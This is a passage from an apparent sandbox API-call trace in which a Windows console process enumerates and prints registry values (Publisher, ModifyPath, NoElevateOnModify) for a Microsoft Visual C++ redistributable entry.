[0151.182] __iob_func () returned 0x7fefd702a80 [0151.182] _fileno (_File=0x7fefd702ab0) returned 1 [0151.182] _errno () returned 0x204bb0 [0151.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.182] _errno () returned 0x204bb0 [0151.182] GetFileType (hFile=0x50) returned 0x1 [0151.183] lstrlenW (lpString="\n") returned 1 [0151.183] GetConsoleOutputCP () returned 0x1b5 [0151.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.183] GetConsoleOutputCP () returned 0x1b5 [0151.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0151.183] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.183] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.183] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0151.183] GetProcessHeap () returned 0x3c0000 [0151.183] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0151.183] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0151.183] __iob_func () returned 0x7fefd702a80 [0151.183] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.183] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.183] _fileno (_File=0x7fefd702ab0) returned 1 [0151.183] _errno () returned 0x204bb0 [0151.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.184] _errno () returned 0x204bb0 [0151.184] GetFileType (hFile=0x50) returned 0x1 [0151.184] lstrlenW (lpString=" ") returned 4 [0151.184] GetConsoleOutputCP () returned 0x1b5 [0151.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.184] GetConsoleOutputCP () returned 0x1b5 [0151.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.184] lstrlenW (lpString="Publisher") returned 9 [0151.184] __iob_func () returned 0x7fefd702a80 [0151.184] _fileno (_File=0x7fefd702ab0) returned 1 [0151.184] _errno () returned 0x204bb0 [0151.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.184] _errno () returned 0x204bb0 [0151.184] GetFileType (hFile=0x50) returned 0x1 [0151.184] lstrlenW (lpString="Publisher") returned 9 [0151.184] GetConsoleOutputCP () returned 0x1b5 [0151.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.184] GetConsoleOutputCP () returned 0x1b5 [0151.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0151.184] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.184] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.185] __iob_func () returned 0x7fefd702a80 [0151.185] _fileno (_File=0x7fefd702ab0) returned 1 [0151.185] _errno () returned 0x204bb0 [0151.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.185] _errno () returned 0x204bb0 [0151.185] GetFileType (hFile=0x50) returned 0x1 [0151.185] lstrlenW (lpString=" ") returned 4 [0151.185] GetConsoleOutputCP () returned 0x1b5 [0151.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.185] GetConsoleOutputCP () returned 0x1b5 [0151.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.185] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.185] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.185] __iob_func () returned 0x7fefd702a80 [0151.185] _fileno (_File=0x7fefd702ab0) returned 1 [0151.185] _errno () returned 0x204bb0 [0151.185] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.185] _errno () returned 0x204bb0 [0151.185] GetFileType (hFile=0x50) returned 0x1 [0151.185] lstrlenW (lpString="REG_SZ") returned 6 [0151.185] GetConsoleOutputCP () returned 0x1b5 [0151.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.185] GetConsoleOutputCP () returned 0x1b5 [0151.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.186] __iob_func () returned 0x7fefd702a80 [0151.186] _fileno (_File=0x7fefd702ab0) returned 1 [0151.186] _errno () returned 0x204bb0 [0151.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.186] _errno () returned 0x204bb0 [0151.186] GetFileType (hFile=0x50) returned 0x1 [0151.186] lstrlenW (lpString=" ") returned 4 [0151.186] GetConsoleOutputCP () returned 0x1b5 [0151.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.186] GetConsoleOutputCP () returned 0x1b5 [0151.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.186] __iob_func () returned 0x7fefd702a80 [0151.186] _fileno (_File=0x7fefd702ab0) returned 1 [0151.186] _errno () returned 0x204bb0 [0151.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.186] _errno () returned 0x204bb0 [0151.186] GetFileType (hFile=0x50) returned 0x1 [0151.186] lstrlenW (lpString="Microsoft Corporation") returned 21 [0151.186] GetConsoleOutputCP () returned 0x1b5 [0151.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.187] GetConsoleOutputCP () returned 0x1b5 [0151.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0151.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0151.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.187] __iob_func () returned 0x7fefd702a80 [0151.187] _fileno (_File=0x7fefd702ab0) returned 1 [0151.187] _errno () returned 0x204bb0 [0151.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.187] _errno () returned 0x204bb0 [0151.187] GetFileType (hFile=0x50) returned 0x1 [0151.187] lstrlenW (lpString="\n") returned 1 [0151.187] GetConsoleOutputCP () returned 0x1b5 [0151.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.188] GetConsoleOutputCP () returned 0x1b5 [0151.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0151.188] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0151.188] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.188] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc2) returned 0x0 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc4) returned 0x3e1c70 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.188] GetProcessHeap () returned 0x3c0000 [0151.188] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc4 [0151.188] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc2 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /modify", pcbData=0x29f780*=0xc0) returned 0x0 [0151.188] __iob_func () returned 0x7fefd702a80 [0151.188] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.188] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.188] _fileno (_File=0x7fefd702ab0) returned 1 [0151.188] _errno () returned 0x204bb0 [0151.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.188] _errno () returned 0x204bb0 [0151.188] GetFileType (hFile=0x50) returned 0x1 [0151.188] lstrlenW (lpString=" ") returned 4 [0151.189] GetConsoleOutputCP () returned 0x1b5 [0151.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.189] GetConsoleOutputCP () returned 0x1b5 [0151.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.189] lstrlenW (lpString="ModifyPath") returned 10 [0151.189] __iob_func () returned 0x7fefd702a80 [0151.189] _fileno (_File=0x7fefd702ab0) returned 1 [0151.189] _errno () returned 0x204bb0 [0151.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.189] _errno () returned 0x204bb0 [0151.189] GetFileType (hFile=0x50) returned 0x1 [0151.189] lstrlenW (lpString="ModifyPath") returned 10 [0151.189] GetConsoleOutputCP () returned 0x1b5 [0151.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0151.189] GetConsoleOutputCP () returned 0x1b5 [0151.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0151.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0151.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.190] __iob_func () returned 0x7fefd702a80 [0151.190] _fileno (_File=0x7fefd702ab0) returned 1 [0151.190] _errno () returned 0x204bb0 [0151.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.190] _errno () returned 0x204bb0 [0151.190] GetFileType (hFile=0x50) returned 0x1 [0151.190] lstrlenW (lpString=" ") returned 4 [0151.190] GetConsoleOutputCP () returned 0x1b5 [0151.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.190] GetConsoleOutputCP () returned 0x1b5 [0151.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.190] __iob_func () returned 0x7fefd702a80 [0151.190] _fileno (_File=0x7fefd702ab0) returned 1 [0151.190] _errno () returned 0x204bb0 [0151.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.190] _errno () returned 0x204bb0 [0151.190] GetFileType (hFile=0x50) returned 0x1 [0151.190] lstrlenW (lpString="REG_SZ") returned 6 [0151.190] GetConsoleOutputCP () returned 0x1b5 [0151.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.190] GetConsoleOutputCP () returned 0x1b5 [0151.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.191] __iob_func () returned 0x7fefd702a80 [0151.191] _fileno (_File=0x7fefd702ab0) returned 1 [0151.191] _errno () returned 0x204bb0 [0151.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.191] _errno () returned 0x204bb0 [0151.191] GetFileType (hFile=0x50) returned 0x1 [0151.191] lstrlenW (lpString=" ") returned 4 [0151.191] GetConsoleOutputCP () returned 0x1b5 [0151.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.191] GetConsoleOutputCP () returned 0x1b5 [0151.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.191] __iob_func () returned 0x7fefd702a80 [0151.191] _fileno (_File=0x7fefd702ab0) returned 1 [0151.191] _errno () returned 0x204bb0 [0151.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.191] _errno () returned 0x204bb0 [0151.191] GetFileType (hFile=0x50) returned 0x1 [0151.191] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /modify") returned 95 [0151.191] GetConsoleOutputCP () returned 0x1b5 [0151.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /modify", cchWideChar=95, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 95 [0151.192] GetConsoleOutputCP () returned 0x1b5 [0151.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /modify", cchWideChar=95, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /modify", lpUsedDefaultChar=0x0) returned 95 [0151.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 95 [0151.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.192] __iob_func () returned 0x7fefd702a80 [0151.192] _fileno (_File=0x7fefd702ab0) returned 1 [0151.192] _errno () returned 0x204bb0 [0151.192] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.192] _errno () returned 0x204bb0 [0151.192] GetFileType (hFile=0x50) returned 0x1 [0151.192] lstrlenW (lpString="\n") returned 1 [0151.192] GetConsoleOutputCP () returned 0x1b5 [0151.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.192] GetConsoleOutputCP () returned 0x1b5 [0151.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc4 [0151.193] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.193] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.193] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.193] GetProcessHeap () returned 0x3c0000 [0151.193] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.193] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.193] __iob_func () returned 0x7fefd702a80 [0151.193] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.193] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.193] _fileno (_File=0x7fefd702ab0) returned 1 [0151.193] _errno () returned 0x204bb0 [0151.193] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.193] _errno () returned 0x204bb0 [0151.193] GetFileType (hFile=0x50) returned 0x1 [0151.193] lstrlenW (lpString=" ") returned 4 [0151.193] GetConsoleOutputCP () returned 0x1b5 [0151.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.193] GetConsoleOutputCP () returned 0x1b5 [0151.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.194] lstrlenW (lpString="NoElevateOnModify") returned 17 [0151.194] __iob_func () returned 0x7fefd702a80 [0151.194] _fileno (_File=0x7fefd702ab0) returned 1 [0151.194] _errno () returned 0x204bb0 [0151.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.194] _errno () returned 0x204bb0 [0151.194] GetFileType (hFile=0x50) returned 0x1 [0151.194] lstrlenW (lpString="NoElevateOnModify") returned 17 [0151.194] GetConsoleOutputCP () returned 0x1b5 [0151.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0151.194] GetConsoleOutputCP () returned 0x1b5 [0151.194] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0151.194] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0151.194] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.194] __iob_func () returned 0x7fefd702a80 [0151.194] _fileno (_File=0x7fefd702ab0) returned 1 [0151.194] _errno () returned 0x204bb0 [0151.194] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.194] _errno () returned 0x204bb0 [0151.194] GetFileType (hFile=0x50) returned 0x1 [0151.194] lstrlenW (lpString=" ") returned 4 [0151.194] GetConsoleOutputCP () returned 0x1b5 [0151.195] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, 